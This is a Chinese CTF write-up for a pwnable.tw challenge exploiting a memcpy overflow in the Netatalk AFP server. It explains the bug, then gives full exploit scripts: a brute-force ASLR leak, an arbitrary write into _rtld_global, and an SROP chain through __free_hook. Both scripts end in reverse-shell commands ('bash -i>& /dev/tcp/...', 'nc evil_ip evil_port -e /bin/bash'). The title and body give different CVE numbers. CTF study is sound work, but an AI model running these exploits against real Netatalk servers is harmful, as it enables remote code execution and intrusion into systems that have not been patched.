pwnable.tw | 第3题cve-2018-1106
前言
pwnable.tw第三题,开始上难度了,考验的是一款真实程序的漏洞利用。漏洞源于一款开源的苹果AFP协议服务器程序Netatalk,漏洞最早是2018年发现的,2019年在HITCON Quals展示了1day利用,相关文章如下:
- 2018年漏洞作者的原文翻译:Netatalk CVE-2018-1160的发现与利用
- hitcon相关文章:HITCON CTF 2019 Pwn 371 Netatalk
分析
题目附件里有四样东西,afpd是服务器程序,afp.conf是配置文件,剩下两个是库
找了下服务器的启动方法为,在ubuntu18.04环境下运行以下命令
LD_PRELOAD=./libc-2.27.so LD_LIBRARY_PATH=./ ./afpd -d -F ./afp.conf
看了下afpd保护全开,把程序拖入IDA,代码很庞大,有大量的初始化,解析协议包,功能处理的代码,和路由器webserver有点像,那先找一下简单的栈溢出、命令注入有没有,粗略看了下是没有溢出的并且有canary也不好弄,然后通过关键字在程序和库中找到一些命令注入点,但看了下参数是不可控的,思路断了。
既然题目提示写1day,那就去网上找资料学习了,原来漏洞是出在memcpy的时候溢出了一个结构体的字段,漏洞作者说他是在航班上阅读源码的时候发现的,真的牛
既然是开源的1day,咱们也不对着IDA费劲了,直接看源码,大概就是tcp socket建立链接,解析协议字段,收发消息那些东西,我们先分析一遍服务器运行流程
服务器运行流程
客户端建立连接后,服务端会fork出一个子进程同客户端交互,子进程首先从TCP会话中读取DSI header到结构体dsi->header,之后读取DSI payload内容放在dsi->commands指向的buf中,之后子进程会调用dsi_opensession
来处理commands中的会话信息,然后调用dsi_stream_receive
从当前连接中继续读取消息并保存到dsi->commands中
DSI结构体
DSI结构体保存了会话中的所有信息,其中commands指针指向了客户端发来的的命令消息
typedef struct DSI {
...
uint32_t attn_quantum, datasize, server_quantum;
uint16_t serverID, clientID;
uint8_t *commands; /* DSI recieve buffer */
...
dsi_opensession
该函数用于处理DSI结构体中的消息,若commands[0]的值为DSIOPT_ATTNQUANT
,则调用memcpy,将大小为commands[1]个字节,从commands[2]指针处拷贝到结构体中的attn_quantum字段
void dsi_opensession(DSI *dsi)
{
uint32_t i = 0; /* this serves double duty. it must be 4-bytes long */
int offs;
......
/* parse options */
while (i < dsi->cmdlen) {
switch (dsi->commands[i++]) {
case DSIOPT_ATTNQUANT:
memcpy(&dsi->attn_quantum, dsi->commands + i + 1, dsi->commands[i]); //bug
dsi->attn_quantum = ntohl(dsi->attn_quantum);
case DSIOPT_SERVQUANT: /* just ignore these */
default:
i += dsi->commands[i] + 1; /* forward past length tag + length */
break;
}
}
...
dsi_stream_receive
该函数从当前socket继续读取消息并保存在结构体中。具体地,先读取DSI header并保存到dsi->header结构体中,然后读取后续DSI payload保存到dsi->commands指向的buffer当中
int dsi_stream_receive(DSI *dsi)
{
...
/* 将header之后的payload读取到commands指向的内存中 */
if (dsi_stream_read(dsi, dsi->commands, dsi->cmdlen) != dsi->cmdlen)
return 0;
...
漏洞原理
漏洞出在dsi_opensession
函数的memcpy处,未对拷贝的字节数做限制,dsi->commands[i]类型为uint8并且大小是用户可控的,最大可以拷贝255个字节,而dsi->attn_quantum是uint32类型,只占4个字节,可以溢出覆盖DSI结构体内的后续字段,并且dsi->commands+i+1
的内容是用户可控的,也就是说我们可以通过溢出来控制DSI结构体内的字段
memcpy(&dsi->attn_quantum, dsi->commands + i + 1, dsi->commands[i]); //bug
这些字段里最重要的当然是commands指针,将其覆盖为任意内容,之后在dsi_stream_receive
函数中,会继续向dsi->commands出读入消息,故我们获得了一次任意地址写的机会。需要注意的我们需要在同一个socket中发送两次DSI消息来完成任意地址写:第一次发消息,将commands指针覆盖为目标地址;第二次发消息,往commands指向处写入任意内容。
数据包构建
在利用漏洞之前,我们还需要了解AFP协议格式,如何按照协议格式将数据发送到服务器,才能将我们期望的数据布置到目标结构体。
AFP协议消息分为header + payload,其中header的格式可以从源码中分析出:
/* What a DSI packet looks like:
0 32
|-------------------------------|
|flags |command| requestID |
|-------------------------------|
|error code/enclosed data offset|
|-------------------------------|
|total data length |
|-------------------------------|
|reserved field |
|-------------------------------|
CONVENTION: anything with a dsi_ prefix is kept in network byte order.
*/
本题的利用需要在同一个socket内发两个TCP数据包,第一个数据包的payload也分为两部分:cmd_header和cmd_payload,其中cmd_header由两个字节组成,第一个字节为cmd options,当值为DSIOPT_ATTNQUANT(0x01)时才能触发漏洞,第二个字节为cmd_payload长度,可控,使得memcpy越界。
第二个数据包的payload部分,第一个字节是function index,指向afp_switch函数数组中一个单元,设为0即可。构建数据包的代码如下:
def createDSIHeader(command, payload):
dsi_header = b'\x00' # dsi_flags, DSIFL_REQUEST
dsi_header += command # dsi_command
dsi_header += b'\x01\x00' # dsi_requestID
dsi_header += p32(0) # dsi_data
dsi_header += struct.pack(">I", len(payload)) # dsi_len
dsi_header += p32(0) # dsi_reserved
return dsi_header
def replaceCommandPtr(io, addr):
cmd_payload = p32(0) # attn_quantum
cmd_payload += p32(0) # datasize
cmd_payload += p32(FLAG_VAL) # server_quantum
cmd_payload += p32(0) # serverID & clientID
cmd_payload += addr # **************** commands ptr ****************
cmd_header = b'\x01' # DSIOPT_ATTNQUANT
cmd_header += p8(len(cmd_payload))
dsifunc_open = b'\x04' # DSIFUNC_OPEN
dsi_header = createDSIHeader(dsifunc_open, cmd_header + cmd_payload)
msg = dsi_header + cmd_header + cmd_payload
io.send(msg)
try:
reply = io.recv()
return reply
except:
return None
def aaw(io, payload):
dsifunc_cmd = b'\x04' #
dsi_payload = b'\x00' #
dsi_payload += payload
dsi_header = createDSIHeader(dsifunc_cmd, dsi_payload)
msg = dsi_header + dsi_payload
io.send(msg)
泄露地址
任意地址写,写got是不可能的,程序开了relro,那考虑写free_hook,需要先泄露libc地址,然而程序并没有泄露地址相关的漏洞。
考虑到这是一个webserver,每一次tcp连接都会fork子进程来同客户端交互,而子进程的内存空间是父进程的拷贝,内存地址都是相同的,故可以采用爆破的方法,不断的去猜测地址,反正子进程崩溃了也不影响,重新再启一个连接,子进程的地址还是一样的,可以继续爆破,其实是利用了服务器程序aslr不够随机化的弱点。
不完全的随机化给了我们爆破的可能性,那我们可以爆破出什么东西呢?
我们先看一下commands指针的初始地址,改地址是由dsi_init_buffer
函数初始化的
static void dsi_init_buffer(DSI *dsi)
{
if ((dsi->commands = malloc(dsi->server_quantum)) == NULL) {
LOG(log_error, logtype_dsi, "dsi_init_buffer: OOM");
AFP_PANIC("OOM in dsi_init_buffer");
}
/* dsi_peek() read ahead buffer, default is 12 * 300k = 3,6 MB (Apr 2011) */
if ((dsi->buffer = malloc(dsi->dsireadbuf * dsi->server_quantum)) == NULL) {
LOG(log_error, logtype_dsi, "dsi_init_buffer: OOM");
AFP_PANIC("OOM in dsi_init_buffer");
}
dsi->start = dsi->buffer;
dsi->eof = dsi->buffer;
dsi->end = dsi->buffer + (dsi->dsireadbuf * dsi->server_quantum);
}
commands指针是由malloc返回的,并且server_quantum
的初始值为0x100000L,超过了brk的分配地址,是由mmap分配的内存空间,通过本地调试,可知该地址比libc略高,这个偏移地址在同一系统下是固定的,那我们如果能爆破出一个接近commands指针初始地址的值,就能获取到libc的地址。
接下来再考虑爆破的方法,这里使用了侧信道攻击的理念,通过服务器的返回信息来判断是否爆破成功,在溢出后将commands指针覆盖为一个非法地址,那后续访问该指针会导致子进程崩溃,而如果指针被覆盖为了可写地址,dsi_opensession函数会将server_quantum的值写入指针并返回给客户端。通过客户端收到的数据来判断爆破是否成功。
具体来说,我们可以从低字节开始,按照255-0的顺序,逐个字节爆破commands指针地址,爆破成功后我们可以获得一个高于commands初始指针和libc的地址,并且不会高太多(仍然处于可写的地址范围内),爆破代码如下:
def bruteforce():
leak_addr = b''
flag_str = struct.pack('>I', FLAG_VAL)
# num = 0
while len(leak_addr) < 6:
# from 255 to 0 for each byte, get an address that is below libc_base
for i in range(255, -1, -1):
io = remote(IP, PORT)
cur_byte = p8(i)
addr = leak_addr + cur_byte
reply = replaceCommandPtr(io, addr)
if reply is None:
io.close()
continue
if flag_str in reply:
io.close()
print('Find! {}'.format(hex(i)))
leak_addr += cur_byte
break
# print(leak_addr)
mmap_addr = u64(leak_addr.ljust(8, b'\x00')) # 0x7fxxxxxfff, add 1
return mmap_addr+1
获得的地址一定高于libc基址,至于高多少我们不清楚,由于内存页是0x1000字节对齐的,libc基址的后三位是0x000,所以用每次减去0x1000的方式去爆破,最后试出libc基地址!
为了提高爆破的速度,有师傅采取的办法是购买日本的linode服务器,在服务器上爆破(靶机是部署在日本的linode服务器上的,在接近的机房中爆破速度会更快)
利用方法
获得libc地址后,通过任意地址写,我们有两种方法可以完成利用
打rtld_global
原理是程序在exit时会调用一个函数指针,该指针和参数都在rtld_global结构体里,只要控制该指针和参数,就能完成任意函数调用。
具体来说,需要打rtlg_global的以下两个成员:
- 函数指针:_dl_rtld_lock_recursive (_rtld_global+2312)
- 调用参数:_dl_load_lock (_rtld_global+3840)
rtlg_global结构体位于ld.so中,其相对于libc的偏移在同一环境下是固定的,通过本地搭建和远端相同的的ubuntu18.04,可以获得rtlg_global的相对偏移为0xed2060,加上我们的libc基址即可得到其地址,然后通过任意地址写将函数指针覆盖为"system",将参数覆盖为反弹shell的命令
第一次做这种服务器类型的题,刚开始不理解为什么参数不直接设置为"/bin/sh",而要用反弹shel的方式,后面思考了下才想通:普通的ctf题运行在本地,通过socat这类外部程序转发来实现远程交互,getshell后sh子进程覆盖原进程,也继承了原进程的标准输入输出,故可以继续通过外部程序进行远端交互;而服务器类型的程序,程序本身承担了远端交互的功能,如果直接用sh进程覆盖掉,便丢失了远端交互,所以需要用bash反弹shell,维持远端交互
完整EXP如下:
from pwn import *
context(endian='little')
ip = "chall.pwnable.tw"
port = 10002
libc = ELF("./libc-18292bd12d37bfaf58e8dded9db7f1f5da1192cb.so")
def gen_dsi(data):
dsi = b'\x00\x04\x00\x01'
dsi += p32(0)
dsi += p32(len(data),endian='big')
dsi += p32(0)
dsi += data
return dsi
def aaw(io,addr,data):
payload = b'\x01'+ p8(0x18)+ b'a'*0x10 + p64(addr)
io.send(gen_dsi(payload))
io.recv()
io.send(gen_dsi(data))
def boom():
leak = b''
for j in range(8):
for i in range(256):
if(j>1 and j<6): i = 255 - i
io = remote(ip,port)
payload = b'\x01'+ p8(0x11+j)+ b'a'*0x10 + leak + p8(i)
io.send(gen_dsi(payload))
try:
a = io.recv()
leak += p8(i)
log.success(str(hex(i)))
io.close()
break
except:
io.close()
return u64(leak)
leak_addr = boom()
log.success(hex(leak_addr))
for i in range(0x0000000,0xffff000,0x1000):
libc.address = leak_addr - i
rtld = libc.address + 0xed2060
cmd = b'bash -c "bash -i>& /dev/tcp/ip/port 0<&1"'
try:
io = remote(ip,port)
aaw(io,rtld+2312,cmd.ljust(0x5f8,b'\x00')+p64(libc.symbols['system']))
io.close()
except:
io.close()
本地监听端口,爆破成功后,还需要等一会才能弹回shell,因为需要等tcp连接timout后,子进程才会调用exit触发利用链
SROP
通过AAW可以覆盖free_hook,还需要想办法控制rdi寄存器,程序里没有直接控制rdi寄存器的gadget,故这里采用SROP的方法,即调用setcontext函数来控参。
setcontext
gadget如下,可以控制各个寄存器的值,需要我们能够控制rdi寄存器及其指向的一片区域的内容
libc_dlopen_mode
+56 gadget如下,并且dl_open_hook就位于free_hook下方,可以同时覆盖修改
mov rax, cs:_dl_open_hook
call qword ptr [rax]
fgetpos64+207
gadget如下
mov rdi, rax ; call qword ptr [rax + 0x20]
通过上述两个gadget,可以将rdi指向dl_open_hook区域附近,该块区域通过AAW可以被我们覆盖为任何值,故实现同时控制rdi及其指向内容的目的
最终通过libc_dlopen_mode+56 -> fgetpos64+207 -> setcontext+53
ROP链,可以同时控制eip和rdi寄存器,具体布局如下
之后调用free函数会触发ROP链,将eip置为system,rdi指向反弹shell的命令字符串
完整EXP如下:
from pwn import *
import struct
context.log_level = "info"
context.update(arch="amd64",os="linux")
ip = 'localhost'
port = 5566
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
def create_header(addr):
dsi_opensession = "\x01" # attention quantum option
dsi_opensession += chr(len(addr)+0x10) # length
dsi_opensession += "a"*0x10+addr
dsi_header = "\x00" # "request" flag
dsi_header += "\x04" # open session command
dsi_header += "\x00\x01" # request id
dsi_header += "\x00\x00\x00\x00" # data offset
dsi_header += struct.pack(">I", len(dsi_opensession))
dsi_header += "\x00\x00\x00\x00" # reserved
dsi_header += dsi_opensession
return dsi_header
def create_afp(idx,payload):
afp_command = chr(idx) # invoke the second entry in the table
afp_command += "\x00" # protocol defined padding
afp_command += payload
dsi_header = "\x00" # "request" flag
dsi_header += "\x02" # "AFP" command
dsi_header += "\x00\x02" # request id
dsi_header += "\x00\x00\x00\x00" # data offset
dsi_header += struct.pack(">I", len(afp_command))
dsi_header += '\x00\x00\x00\x00' # reserved
dsi_header += afp_command
return dsi_header
# get libc base
addr = ""
while len(addr)<6 :
for i in range(256):
r = remote(ip,port)
r.send(create_header(addr+chr(i)))
try:
if "a"*4 in r.recvrepeat(1):
addr += chr(i)
r.close()
break
except:
r.close()
val = u64(addr.ljust(8,'\x00'))
print hex(val)
addr += "\x00"*2
libc_addr = u64(addr)
log.success("[+]Now we got an addresss {}".format(hex(libc_addr)))
offset = 0x535a000
libc_base = libc_addr + offset
log.success("[+]libc base {}".format(hex(libc_base)))
libc.address = libc_base
raw_input("write free hook: ")
free_hook = libc.sym['__free_hook']
# mov rdi,rax ; call QWORD PTR [rax+0x20]
magic = libc_base + 0x7eaff
dl_openmode = libc_base + 0x166398
dl_open_hook = libc_base + 0x3f0588
r = remote(ip,port)
r.send(create_header(p64(free_hook-0x30))) # overwrite afp_command buf with free_hook-0x30
#
raw_input("write shell: ")
rip="127.0.0.1"
rport=1234
cmd='bash -c "nc evil_ip evil_port -t -e /bin/bash" \x00'# cat flag to controled ip and port
sigframe = SigreturnFrame()
sigframe.rdi = free_hook + 8
sigframe.rsi = 0
sigframe.rdx = 0
sigframe.rax = 0
sigframe.rsp = free_hook+0x400
sigframe.rip = libc.sym['system']
payload = '\x00'*0x2e
payload += p64(dl_openmode) # free_hook
payload += cmd.ljust(0x2c98,'\x00')
payload += p64(dl_open_hook+8) + p64(magic)*4
payload += p64(libc.sym['setcontext']+53)
payload += str(sigframe)[0x28:]
r.send(create_afp(0,payload))
raw_input("get shell: ")
r.send(create_afp(18,""))
r.interactive()
后记
因为时间原因,我主要学习了利用的思路,没有用gdb一步步跟踪调试,本文写的也很粗略,如果想要查看更精细的分析,请参考以下文章: